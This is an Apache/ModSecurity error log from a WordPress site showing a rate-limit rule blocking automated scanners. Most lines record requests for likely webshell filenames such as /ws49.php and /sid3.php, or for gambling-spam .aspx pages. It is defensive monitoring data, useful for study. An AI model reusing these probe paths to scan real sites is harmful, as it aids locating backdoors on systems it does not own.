[Wed Mar 25 09:29:12.232304 2026] [:error] [pid 47946:tid 47969] [client 158.158.72.125:51603] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acM6aDipQTqBMSeKYhc58QAAARU"]
[Wed Mar 25 09:29:12.720049 2026] [:error] [pid 47946:tid 47949] [client 158.158.72.125:51637] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acM6aDipQTqBMSeKYhc59QAAAQE"]
[Wed Mar 25 09:29:13.286627 2026] [:error] [pid 26449:tid 26468] [client 158.158.72.125:28397] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acM6adpZ2T15NDqzAjHZ5QAAAk8"]
[Wed Mar 25 09:29:13.786952 2026] [:error] [pid 26449:tid 26477] [client 158.158.72.125:28373] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "acM6adpZ2T15NDqzAjHZ5gAAAlg"]
[Wed Mar 25 09:29:14.278699 2026] [:error] [pid 26449:tid 26475] [client 158.158.72.125:48229] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acM6atpZ2T15NDqzAjHZ7QAAAlY"]
[Wed Mar 25 09:29:14.844431 2026] [:error] [pid 892:tid 913] [client 158.158.72.125:61863] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acM6aiT_G8WMU3T3yxpj-AAAAM8"]
[Wed Mar 25 09:29:15.380119 2026] [:error] [pid 26449:tid 26462] [client 158.158.72.125:30132] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acM6a9pZ2T15NDqzAjHZ9QAAAkk"]
[Wed Mar 25 09:29:15.932653 2026] [:error] [pid 755:tid 809] [client 158.158.72.125:35169] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "acM6a6S6bdaeEwgCGwpaQgAAAEQ"]
[Wed Mar 25 09:29:16.502980 2026] [:error] [pid 756:tid 876] [client 158.158.72.125:63002] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acM6bDOaW6oylMIDBCTfPgAAAJg"]
[Wed Mar 25 09:29:17.113222 2026] [:error] [pid 756:tid 871] [client 158.158.72.125:48228] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acM6bTOaW6oylMIDBCTfQQAAAJM"]
[Wed Mar 25 09:29:17.657473 2026] [:error] [pid 26320:tid 26379] [client 158.158.72.125:50693] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acM6bTkUgS2mHAojGnmC9AAAAdc"]
[Wed Mar 25 09:29:18.342283 2026] [:error] [pid 47946:tid 47953] [client 158.158.72.125:65010] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acM6bjipQTqBMSeKYhc5_gAAAQU"]
[Wed Mar 25 09:29:18.895985 2026] [:error] [pid 26321:tid 26353] [client 158.158.72.125:22212] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acM6bvKO65qqGZCSPZrDVgAAAgw"]
[Wed Mar 25 09:29:19.535799 2026] [:error] [pid 47946:tid 47949] [client 158.158.72.125:6765] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acM6bzipQTqBMSeKYhc6AAAAAQE"]
[Wed Mar 25 09:29:20.066905 2026] [:error] [pid 755:tid 843] [client 158.158.72.125:22233] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acM6cKS6bdaeEwgCGwpaRwAAAFQ"]
[Wed Mar 25 09:29:20.598334 2026] [:error] [pid 754:tid 784] [client 158.158.72.125:50730] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acM6cDisL3asPbA3CtjZzgAAABM"]
[Wed Mar 25 09:29:21.115843 2026] [:error] [pid 47946:tid 47956] [client 158.158.72.125:48239] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acM6cTipQTqBMSeKYhc6AgAAAQg"]
[Wed Mar 25 09:29:21.673566 2026] [:error] [pid 26449:tid 26475] [client 158.158.72.125:52869] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acM6cdpZ2T15NDqzAjHZ-wAAAlY"]
[Wed Mar 25 09:29:22.254134 2026] [:error] [pid 756:tid 862] [client 158.158.72.125:52926] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acM6cjOaW6oylMIDBCTfSwAAAIo"]
[Wed Mar 25 09:29:22.894481 2026] [:error] [pid 26449:tid 26464] [client 158.158.72.125:52891] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acM6ctpZ2T15NDqzAjHaAwAAAks"]
[Wed Mar 25 09:29:23.489049 2026] [:error] [pid 47946:tid 47968] [client 158.158.72.125:51642] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acM6czipQTqBMSeKYhc6CAAAARQ"]
[Wed Mar 25 09:29:24.268687 2026] [:error] [pid 47946:tid 47955] [client 158.158.72.125:52896] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acM6dDipQTqBMSeKYhc6CgAAAQc"]
[Wed Mar 25 09:29:24.858556 2026] [:error] [pid 26449:tid 26472] [client 158.158.72.125:28383] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acM6dNpZ2T15NDqzAjHaCQAAAlM"]
[Wed Mar 25 09:29:25.407886 2026] [:error] [pid 892:tid 923] [client 158.158.72.125:31496] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acM6dST_G8WMU3T3yxpkAQAAANg"]
[Wed Mar 25 09:29:26.046492 2026] [:error] [pid 756:tid 875] [client 158.158.72.125:6362] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acM6djOaW6oylMIDBCTfUgAAAJc"]
[Wed Mar 25 09:29:26.556589 2026] [:error] [pid 26449:tid 26477] [client 158.158.72.125:30106] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acM6dtpZ2T15NDqzAjHaEQAAAlg"]
[Wed Mar 25 09:29:27.168872 2026] [:error] [pid 26449:tid 26453] [client 158.158.72.125:6365] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acM6d9pZ2T15NDqzAjHaFwAAAkA"]
[Wed Mar 25 09:29:27.804371 2026] [:error] [pid 892:tid 895] [client 158.158.72.125:30872] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acM6dyT_G8WMU3T3yxpkAgAAAME"]
[Wed Mar 25 09:29:28.449647 2026] [:error] [pid 26449:tid 26474] [client 158.158.72.125:41337] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acM6eNpZ2T15NDqzAjHaLwAAAlU"]
[Wed Mar 25 09:29:29.038535 2026] [:error] [pid 26449:tid 26473] [client 158.158.72.125:46926] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acM6edpZ2T15NDqzAjHaQAAAAlQ"]
[Wed Mar 25 09:29:29.633916 2026] [:error] [pid 26449:tid 26463] [client 158.158.72.125:57680] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acM6edpZ2T15NDqzAjHaRQAAAko"]
[Wed Mar 25 09:29:30.293935 2026] [:error] [pid 754:tid 768] [client 158.158.72.125:30104] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acM6ejisL3asPbA3CtjZ0gAAAAM"]
[Wed Mar 25 09:29:30.852945 2026] [:error] [pid 26449:tid 26460] [client 158.158.72.125:6386] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acM6etpZ2T15NDqzAjHaSgAAAkc"]
[Wed Mar 25 09:29:31.468557 2026] [:error] [pid 756:tid 876] [client 158.158.72.125:57674] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acM6ezOaW6oylMIDBCTfdgAAAJg"]
[Wed Mar 25 09:29:32.024569 2026] [:error] [pid 756:tid 874] [client 158.158.72.125:57686] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acM6fDOaW6oylMIDBCTfeAAAAJY"]
[Wed Mar 25 09:29:32.585757 2026] [:error] [pid 26449:tid 26468] [client 158.158.72.125:44728] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "acM6fNpZ2T15NDqzAjHaTwAAAk8"]
[Wed Mar 25 11:29:54.470216 2026] [authz_core:error] [pid 47946:tid 47952] [client 45.66.35.27:36352] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/smart-slider-3/readme.txt
[Wed Mar 25 12:24:48.468300 2026] [proxy_fcgi:error] [pid 47989:tid 47995] [client 103.4.122.14:51094] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Wed Mar 25 12:33:25.629541 2026] [autoindex:error] [pid 47989:tid 48015] [client 173.249.30.252:59449] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 25 12:33:53.277258 2026] [:error] [pid 25967:tid 25988] [client 51.75.119.173:51400] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acNlsfg8Qtq7ZM4mSFmUeAAAA1A"]
[Wed Mar 25 12:33:55.875143 2026] [:error] [pid 25875:tid 25900] [client 51.75.119.173:56890] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acNlsxJ38QkS3Nyfshx7zgAAApM"]
[Wed Mar 25 12:34:07.641189 2026] [:error] [pid 25969:tid 26041] [client 51.75.119.173:41716] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acNlvxd3aEUmOfdKja_b0QAAA88"]
[Wed Mar 25 12:34:10.144827 2026] [:error] [pid 892:tid 918] [client 51.75.119.173:37454] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acNlwiT_G8WMU3T3yxqYfgAAANM"]
[Wed Mar 25 12:34:12.582810 2026] [:error] [pid 892:tid 915] [client 51.75.119.173:37476] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acNlxCT_G8WMU3T3yxqYgQAAANE"]
[Wed Mar 25 12:34:14.928112 2026] [:error] [pid 26321:tid 26342] [client 51.75.119.173:37490] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acNlxvKO65qqGZCSPZrn1wAAAgM"]
[Wed Mar 25 12:34:17.348616 2026] [:error] [pid 47989:tid 47994] [client 51.75.119.173:37498] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acNlySWKdJMhIccROjkN-AAAAUM"]
[Wed Mar 25 12:34:19.816953 2026] [:error] [pid 756:tid 864] [client 51.75.119.173:47580] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acNlyzOaW6oylMIDBCQDagAAAIw"]
[Wed Mar 25 12:34:22.288743 2026] [:error] [pid 892:tid 919] [client 51.75.119.173:47588] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acNlziT_G8WMU3T3yxqYlwAAANQ"]
[Wed Mar 25 12:34:24.779418 2026] [:error] [pid 892:tid 904] [client 51.75.119.173:47602] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acNl0CT_G8WMU3T3yxqYpAAAAMY"]
[Wed Mar 25 12:34:27.349317 2026] [:error] [pid 47989:tid 48013] [client 51.75.119.173:47604] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acNl0yWKdJMhIccROjkOJAAAAVY"]
[Wed Mar 25 12:34:29.948889 2026] [:error] [pid 26321:tid 26360] [client 51.75.119.173:56918] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acNl1fKO65qqGZCSPZrn3gAAAhM"]
[Wed Mar 25 12:34:32.397615 2026] [:error] [pid 25969:tid 26042] [client 51.75.119.173:56940] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acNl2Bd3aEUmOfdKja_cMQAAA9A"]
[Wed Mar 25 12:34:34.770395 2026] [:error] [pid 26321:tid 26358] [client 51.75.119.173:56954] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acNl2vKO65qqGZCSPZrn6QAAAhE"]
[Wed Mar 25 12:34:37.186497 2026] [:error] [pid 26449:tid 26455] [client 51.75.119.173:56974] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acNl3dpZ2T15NDqzAjE2oQAAAkI"]
[Wed Mar 25 12:34:39.783332 2026] [:error] [pid 26321:tid 26348] [client 51.75.119.173:57688] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acNl3_KO65qqGZCSPZrn8QAAAgc"]
[Wed Mar 25 12:34:42.079430 2026] [:error] [pid 47989:tid 48005] [client 51.75.119.173:57710] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acNl4iWKdJMhIccROjkOLgAAAU4"]
